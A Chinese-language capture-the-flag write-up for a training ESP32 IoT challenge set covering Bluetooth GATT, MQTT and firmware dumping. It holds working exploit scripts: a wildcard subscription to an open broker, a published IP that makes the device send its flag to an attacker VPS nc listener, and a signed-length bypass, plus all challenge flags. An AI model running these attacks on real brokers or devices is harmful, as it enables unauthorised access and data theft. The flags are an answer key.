<span class="n">Read</span> <span class="n">UUID</span> <span class="mi">00002</span><span class="n">a00</span><span class="o">-</span><span class="mi">0000</span><span class="o">-</span><span class="mi">1000</span><span class="o">-</span><span class="mi">8000</span><span class="o">-</span><span class="mi">00805</span><span class="n">f9b34fb</span>
<span class="n">Read</span> <span class="n">UUID</span> <span class="mi">00002</span><span class="n">a01</span><span class="o">-</span><span class="mi">0000</span><span class="o">-</span><span class="mi">1000</span><span class="o">-</span><span class="mi">8000</span><span class="o">-</span><span class="mi">00805</span><span class="n">f9b34fb</span>
<span class="n">Read</span> <span class="n">UUID</span> <span class="mi">00002</span><span class="n">aa6</span><span class="o">-</span><span class="mi">0000</span><span class="o">-</span><span class="mi">1000</span><span class="o">-</span><span class="mi">8000</span><span class="o">-</span><span class="mi">00805</span><span class="n">f9b34fb</span>
<span class="n">Read</span> <span class="n">UUID</span> <span class="mi">0000</span><span class="n">ff01</span><span class="o">-</span><span class="mi">0000</span><span class="o">-</span><span class="mi">1000</span><span class="o">-</span><span class="mi">8000</span><span class="o">-</span><span class="mi">00805</span><span class="n">f9b34fb</span>
</code></pre></div></div>
<p>然后直接读取会读到deadbeef,写入上一关flag后重新读取即可获得本关flag:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">pygatt</span>
<span class="n">adapter</span> <span class="o">=</span> <span class="n">pygatt</span><span class="p">.</span><span class="n">GATTToolBackend</span><span class="p">()</span>
<span class="n">adapter</span><span class="p">.</span><span class="n">start</span><span class="p">()</span>
<span class="n">device</span> <span class="o">=</span> <span class="n">adapter</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">'94:3C:C6:CD:DA:86'</span><span class="p">)</span>
<span class="n">uuid</span> <span class="o">=</span> <span class="s">'0000ff01-0000-1000-8000-00805f9b34fb'</span>
<span class="k">print</span><span class="p">(</span><span class="n">device</span><span class="p">.</span><span class="n">char_read</span><span class="p">(</span><span class="n">uuid</span><span class="p">))</span>
<span class="n">device</span><span class="p">.</span><span class="n">char_write</span><span class="p">(</span><span class="n">uuid</span><span class="p">,</span><span class="sa">b</span><span class="s">'THUCTF{AdVD47a}'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">device</span><span class="p">.</span><span class="n">char_read</span><span class="p">(</span><span class="n">uuid</span><span class="p">))</span>
</code></pre></div></div>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">$</span> <span class="n">python3</span> <span class="n">exp</span><span class="p">.</span><span class="n">py</span>
<span class="nb">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\xde\xed\xbe\xef</span><span class="s">'</span><span class="p">)</span>
<span class="nb">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="s">'THUCTF{WrItE_4_gA7T'</span><span class="p">)</span>
</code></pre></div></div>
<h2 id="mqtt">MQTT</h2>
<blockquote>
<p>main/mqtt.c</p>
</blockquote>
<p>主要考察对MQTT协议存在的未授权未认证的弱点,以及空中跳跃的攻击模型,推荐阅读:</p>
<ul>
<li><a href="https://gtrboy.github.io/posts/bus/">物联网设备消息总线机制的使用及安全问题</a></li>
</ul>
<p>题目开启顺序:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>task1
task2 -> task3
</code></pre></div></div>
<p>拔掉跳冒以切换题目方向,可以看到日志:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] now task : MQTT
</code></pre></div></div>
<p>阅读给选手的源码,首先板子连接WIFI上网的密码是假的:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">connect_wifi</span><span class="p">(</span><span class="s">"THUCTFIOT"</span><span class="p">,</span><span class="s">"123454678"</span><span class="p">);</span>
</code></pre></div></div>
<p>这是为了防止选手连进WIFI直接做ARP等中间人的攻击方法直接获得到包含flag的通信流量,因为主要希望考察点是:即使是不在目标通信干路上,也能获得目标设备的MQTT通信内容,并且将恶意数据通过不安全的broker带向内网设备,这也是MQTT这种消息队列协议的特性。另外可以看到MQTT服务是连接到了一个域名上,是我花了一块钱买了一年的域名:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">mqtt_app_start</span><span class="p">(</span><span class="s">"mqtt://mqtt.esp32ctf.xyz"</span><span class="p">);</span>
</code></pre></div></div>
<p>这个域名对应的服务器上启了一个为未授权未认证的MQTT broker,也就是本项目中的那个<a href="https://github.com/xuanxuanblingbling/esp32ctf_thu/blob/main/docker/Dockerfile">docker</a>,对于MQTT的收发包,推荐工具:<a href="https://mqttfx.jensd.de/index.php/download">MQTT.fx</a></p>
<h3 id="task1-3">task1</h3>
<ul>
<li>题目:你知道MQTT的上帝是谁么</li>
</ul>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">switch</span> <span class="p">(</span><span class="n">event</span><span class="o">-></span><span class="n">event_id</span><span class="p">)</span> <span class="p">{</span>
<span class="k">case</span> <span class="n">MQTT_EVENT_CONNECTED</span><span class="p">:</span>
<span class="n">ESP_LOGI</span><span class="p">(</span><span class="s">"mqtt"</span><span class="p">,</span> <span class="s">"MQTT_EVENT_CONNECTED"</span><span class="p">);</span>
<span class="n">msg_id</span> <span class="o">=</span> <span class="n">esp_mqtt_client_publish</span><span class="p">(</span><span class="n">client</span><span class="p">,</span> <span class="s">"/topic/flag1"</span><span class="p">,</span> <span class="n">mqtt_flag_1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] MQTT task I: publish successful, msg_id=%d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">msg_id</span><span class="p">);</span>
</code></pre></div></div>
<ul>
<li>解法:可以直接连接broker,井号为通配符,直接订阅所有主题,即可获得flag</li>
</ul>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/esp32/image-20211127175028179.png" alt="image" /></p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/esp32/image-20211127175038978.png" alt="image" /></p>
<p>另外也可以使用python来订阅MQTT服务,依赖安装:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">python3</span> <span class="o">-</span><span class="n">m</span> <span class="n">pip</span> <span class="n">install</span> <span class="n">paho</span><span class="o">-</span><span class="n">mqtt</span>
</code></pre></div></div>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">paho.mqtt.client</span> <span class="k">as</span> <span class="n">mqtt</span>
<span class="k">def</span> <span class="nf">on_message</span><span class="p">(</span><span class="n">client</span><span class="p">,</span> <span class="n">userdata</span><span class="p">,</span> <span class="n">msg</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">topic</span><span class="o">+</span><span class="s">" , "</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">payload</span><span class="p">))</span>
<span class="n">client</span> <span class="o">=</span> <span class="n">mqtt</span><span class="p">.</span><span class="n">Client</span><span class="p">()</span>
<span class="n">client</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">"mqtt.esp32ctf.xyz"</span><span class="p">,</span><span class="mi">1883</span><span class="p">,</span><span class="mi">60</span><span class="p">)</span>
<span class="n">client</span><span class="p">.</span><span class="n">on_message</span> <span class="o">=</span> <span class="n">on_message</span>
<span class="n">client</span><span class="p">.</span><span class="n">subscribe</span><span class="p">(</span><span class="s">"#"</span><span class="p">)</span>
<span class="n">client</span><span class="p">.</span><span class="n">loop_forever</span><span class="p">()</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ python3 exp.py
/topic/flag1 , b'THUCTF{#_1s_God_in_MQTT}'
/topic/flag2/tdzloj , b'www.baidu.com?46'
</code></pre></div></div>
<h3 id="task2-3">task2</h3>
<ul>
<li>题目:你能欺骗订阅者么</li>
</ul>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">...</span>
<span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] MQTT task II: I send second flag to baidu</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">esp_mqtt_client_publish</span><span class="p">(</span><span class="n">client</span><span class="p">,</span> <span class="n">topic_2</span><span class="p">,</span> <span class="s">"www.baidu.com?46"</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">vTaskDelay</span><span class="p">(</span><span class="mi">10000</span> <span class="o">/</span> <span class="n">portTICK_RATE_MS</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">...</span>
<span class="kt">void</span> <span class="nf">mqtt_data_hander</span><span class="p">(</span><span class="kt">int</span> <span class="n">length</span><span class="p">,</span><span class="kt">char</span> <span class="o">*</span> <span class="n">data</span><span class="p">){</span>
<span class="p">...</span>
<span class="kt">char</span> <span class="n">tag3</span><span class="p">[]</span> <span class="o">=</span> <span class="s">" [+] MQTT task III: "</span><span class="p">;</span>
<span class="n">sprintf</span><span class="p">(</span><span class="n">flagdata</span><span class="p">,</span><span class="s">"%s%s%s"</span><span class="p">,</span><span class="n">mqtt_flag_2</span><span class="p">,</span><span class="n">tag3</span><span class="p">,</span><span class="n">mqtt_flag_3</span><span class="p">);</span>
<span class="kt">int</span> <span class="n">a</span> <span class="o">=</span> <span class="mi">46</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">*</span> <span class="n">p</span> <span class="o">=</span> <span class="n">strnstr</span><span class="p">(</span><span class="n">data</span><span class="p">,</span><span class="s">"?"</span><span class="p">,</span><span class="n">length</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">p</span><span class="p">){</span>
<span class="kt">int</span> <span class="n">data_length</span> <span class="o">=</span> <span class="n">p</span> <span class="o">-</span> <span class="n">data</span><span class="p">;</span>
<span class="n">snprintf</span><span class="p">(</span><span class="n">l</span><span class="p">,</span><span class="n">length</span> <span class="o">-</span> <span class="n">data_length</span><span class="p">,</span><span class="s">"%s"</span><span class="p">,</span><span class="n">p</span><span class="o">+</span><span class="mi">1</span><span class="p">);</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">atoi</span><span class="p">(</span><span class="n">l</span><span class="p">);</span>
<span class="n">length</span> <span class="o">=</span> <span class="n">data_length</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">sprintf</span><span class="p">(</span><span class="n">url</span><span class="p">,</span><span class="s">"%.*s"</span><span class="p">,</span><span class="n">length</span><span class="p">,</span> <span class="n">data</span><span class="p">);</span>
</code></pre></div></div>
<ul>
<li>解法:向flag2目标主题发送自己VPS的IP即可</li>
</ul>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/esp32/image-20211127175056665.png" alt="image" /></p>
<p>当然也可以使用python向目标topic发送消息:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">paho.mqtt.client</span> <span class="k">as</span> <span class="n">mqtt</span>
<span class="n">client</span> <span class="o">=</span> <span class="n">mqtt</span><span class="p">.</span><span class="n">Client</span><span class="p">()</span>
<span class="n">client</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">"mqtt.esp32ctf.xyz"</span><span class="p">,</span><span class="mi">1883</span><span class="p">,</span><span class="mi">60</span><span class="p">)</span>
<span class="n">client</span><span class="p">.</span><span class="n">publish</span><span class="p">(</span><span class="s">"/topic/flag2/tdzloj"</span><span class="p">,</span><span class="s">"49.233.20.19"</span><span class="p">)</span>
</code></pre></div></div>
<p>即可在VPS上收到flag:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ubuntu</span><span class="o">@</span><span class="n">VM</span><span class="o">-</span><span class="mi">16</span><span class="o">-</span><span class="mi">6</span><span class="o">-</span><span class="n">ubuntu</span><span class="p">:</span><span class="o">~</span><span class="err">$</span> <span class="n">sudo</span> <span class="n">nc</span> <span class="o">-</span><span class="n">l</span> <span class="o">-</span><span class="n">p</span> <span class="mi">80</span>
<span class="n">GET</span> <span class="o">/</span> <span class="n">HTTP</span><span class="o">/</span><span class="mf">1.0</span>
<span class="n">User</span><span class="o">-</span><span class="n">Agent</span><span class="p">:</span> <span class="n">esp</span><span class="o">-</span><span class="n">idf</span><span class="o">/</span><span class="mf">1.0</span> <span class="n">esp32</span>
<span class="n">flag</span><span class="p">:</span> <span class="n">THUCTF</span><span class="p">{</span><span class="n">attAck_t0_th3_dev1ce_tcp_r3cV_ch4nnel</span><span class="p">}</span>
</code></pre></div></div>
<h3 id="task3-3">task3</h3>
<ul>
<li>题目:这是个内存破坏的前戏</li>
</ul>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sprintf</span><span class="p">(</span><span class="n">url</span><span class="p">,</span><span class="s">"%.*s"</span><span class="p">,</span><span class="n">length</span><span class="p">,</span> <span class="n">data</span><span class="p">);</span>
<span class="kt">char</span> <span class="n">fmt</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"GET / HTTP/1.0</span><span class="se">\r\n</span><span class="s">"</span>
<span class="s">"User-Agent: esp-idf/1.0 esp32</span><span class="se">\r\n</span><span class="s">"</span>
<span class="s">"flag: %s</span><span class="se">\r\n</span><span class="s">"</span>
<span class="s">"</span><span class="se">\r\n</span><span class="s">"</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span> <span class="n">a</span> <span class="o"><</span> <span class="p">(</span><span class="kt">int</span><span class="p">)(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">mqtt_flag_2</span><span class="p">)</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">tag3</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span> <span class="p">)</span> <span class="p">){</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">out</span><span class="p">,</span><span class="n">flagdata</span><span class="p">,</span><span class="n">a</span> <span class="o">&</span> <span class="mh">0xff</span><span class="p">);</span>
<span class="n">sprintf</span><span class="p">(</span><span class="n">httpdata</span><span class="p">,</span><span class="n">fmt</span><span class="p">,</span><span class="n">out</span><span class="p">);</span>
<span class="n">http_get_task</span><span class="p">(</span><span class="n">url</span><span class="p">,</span><span class="n">httpdata</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<ul>
<li>解法:判断长度时有符号,使用时与上0xff,相当于无符号,故长度为-1即可绕过大小限制,带出位于flag2后的flag3</li>
</ul>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/esp32/image-20211127175117275.png" alt="image" /></p>
<p>当然也可以直接在VPS上一个脚本搞定:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">paho.mqtt.client</span> <span class="k">as</span> <span class="n">mqtt</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">io</span> <span class="o">=</span> <span class="n">listen</span><span class="p">(</span><span class="mi">80</span><span class="p">)</span>
<span class="n">client</span> <span class="o">=</span> <span class="n">mqtt</span><span class="p">.</span><span class="n">Client</span><span class="p">()</span>
<span class="n">client</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">"mqtt.esp32ctf.xyz"</span><span class="p">,</span><span class="mi">1883</span><span class="p">,</span><span class="mi">60</span><span class="p">)</span>
<span class="n">client</span><span class="p">.</span><span class="n">publish</span><span class="p">(</span><span class="s">"/topic/flag2/tdzloj"</span><span class="p">,</span><span class="s">"49.233.20.19?-1"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">io</span><span class="p">.</span><span class="n">recv</span><span class="p">())</span>
</code></pre></div></div>
<p>结果如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ubuntu</span><span class="o">@</span><span class="n">VM</span><span class="o">-</span><span class="mi">16</span><span class="o">-</span><span class="mi">6</span><span class="o">-</span><span class="n">ubuntu</span><span class="p">:</span><span class="o">~</span><span class="err">$</span> <span class="n">sudo</span> <span class="n">python3</span> <span class="n">exp</span><span class="p">.</span><span class="n">py</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Trying</span> <span class="n">to</span> <span class="n">bind</span> <span class="n">to</span> <span class="p">::</span> <span class="n">on</span> <span class="n">port</span> <span class="mi">80</span><span class="p">:</span> <span class="n">Done</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Waiting</span> <span class="k">for</span> <span class="n">connections</span> <span class="n">on</span> <span class="p">:::</span><span class="mi">80</span><span class="p">:</span> <span class="n">Got</span> <span class="n">connection</span> <span class="k">from</span> <span class="p">::</span><span class="n">ffff</span><span class="p">:</span><span class="mf">61.148</span><span class="p">.</span><span class="mf">244.254</span> <span class="n">on</span> <span class="n">port</span> <span class="mi">64616</span>
<span class="sa">b</span><span class="s">'GET / HTTP/1.0</span><span class="se">\r\n</span><span class="s">User-Agent: esp-idf/1.0 esp32</span><span class="se">\r\n</span><span class="s">flag: THUCTF{attAck_t0_th3_dev1ce_tcp_r3cV_ch4nnel}
[+] MQTT task III: THUCTF{0ver_the_Air_y0u_c4n_a77ack_t0_1ntranet_d3v1ce}</span><span class="se">\r\n\r\n</span><span class="s">'</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Closed</span> <span class="n">connection</span> <span class="n">to</span> <span class="p">::</span><span class="n">ffff</span><span class="p">:</span><span class="mf">61.148</span><span class="p">.</span><span class="mf">244.254</span> <span class="n">port</span> <span class="mi">64616</span>
</code></pre></div></div>
<h2 id="固件彩蛋">固件彩蛋</h2>
<p>flag为main.c中的xTaskCreate创建任务的名字:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">xTaskCreate</span><span class="p">(</span><span class="n">hardware</span><span class="p">,</span> <span class="s">"THUCTF{DuMp_the_b1n_by_espt00l.py_Ju5t_1n_0ne_Lin3}"</span><span class="p">,</span> <span class="mi">2048</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</code></pre></div></div>
<p>显然此任务名没有与任何题目接口有交互,所以只能采用固件读取的方式获得此flag,故使用esptools.py dump固件:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">python</span> <span class="o">~/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">esp</span><span class="o">/</span><span class="n">esp</span><span class="o">-</span><span class="n">idf2</span><span class="o">/</span><span class="n">components</span><span class="o">/</span><span class="n">esptool_py</span><span class="o">/</span><span class="n">esptool</span><span class="o">/</span><span class="n">esptool</span><span class="p">.</span><span class="n">py</span> \
<span class="o">--</span><span class="n">baud</span> <span class="mi">115200</span> <span class="o">--</span><span class="n">port</span> <span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">tty</span><span class="p">.</span><span class="n">usbserial</span><span class="o">-</span><span class="mi">14420</span> <span class="n">read_flash</span> <span class="mh">0x10000</span> <span class="mh">0x310000</span> <span class="n">dump</span><span class="p">.</span><span class="nb">bin</span>
</code></pre></div></div>
<p>windows上的IDF离线环境安装后,自动设置的环境变量中,也是可以直接用esptools.py的:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">></span> <span class="n">esptool</span><span class="p">.</span><span class="n">py</span> <span class="o">--</span><span class="n">baud</span> <span class="mi">115200</span> <span class="n">read_flash</span> <span class="mh">0x10000</span> <span class="mh">0x310000</span> <span class="n">dump</span><span class="p">.</span><span class="nb">bin</span>
</code></pre></div></div>
<p>然后strings即可找出flag:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">$</span> <span class="n">sudo</span> <span class="n">apt</span> <span class="n">install</span> <span class="n">binutils</span>
<span class="err">$</span> <span class="n">strings</span> <span class="p">.</span><span class="o">/</span><span class="n">dump</span><span class="p">.</span><span class="nb">bin</span> <span class="o">|</span> <span class="n">grep</span> <span class="s">"THUCTF{"</span>
<span class="n">THUCTF</span><span class="p">{</span><span class="n">DuMp_the_b1n_by_espt00l</span><span class="p">.</span><span class="n">py_Ju5t_1n_0ne_Lin3</span><span class="p">}</span>
</code></pre></div></div>老板娘一个以ESP32为底座的新手向CTF IoT赛题,包括基本的硬件操作,串口调试,网络通信,WIFI,蓝牙,MQTT,固件提取等,总共13个flag。其实就是我们仨这几年学到的一些经验,以及海特西湖论剑那张板子上的部分思路。具体玩法为:通过USB线连接ESP32开发板,通过串口工具即可看到题目信息的相关输出,并通过各种有线无线的方式与ESP32交互获取flag。解题的总体思路是通过对隐去flag的源码分析应该如何获取flag。并且在真实板子上的代码中,采用了AES动态解密真flag的方式,防止选手通过读取固件直接获得所有明文flag。另外在源码中为了清晰阅读,直接采用include c文件分离不同方向题目代码,省掉了头文件。淼哥对此赛题评价是:没有一点弯,纯训练。欢迎大家来玩~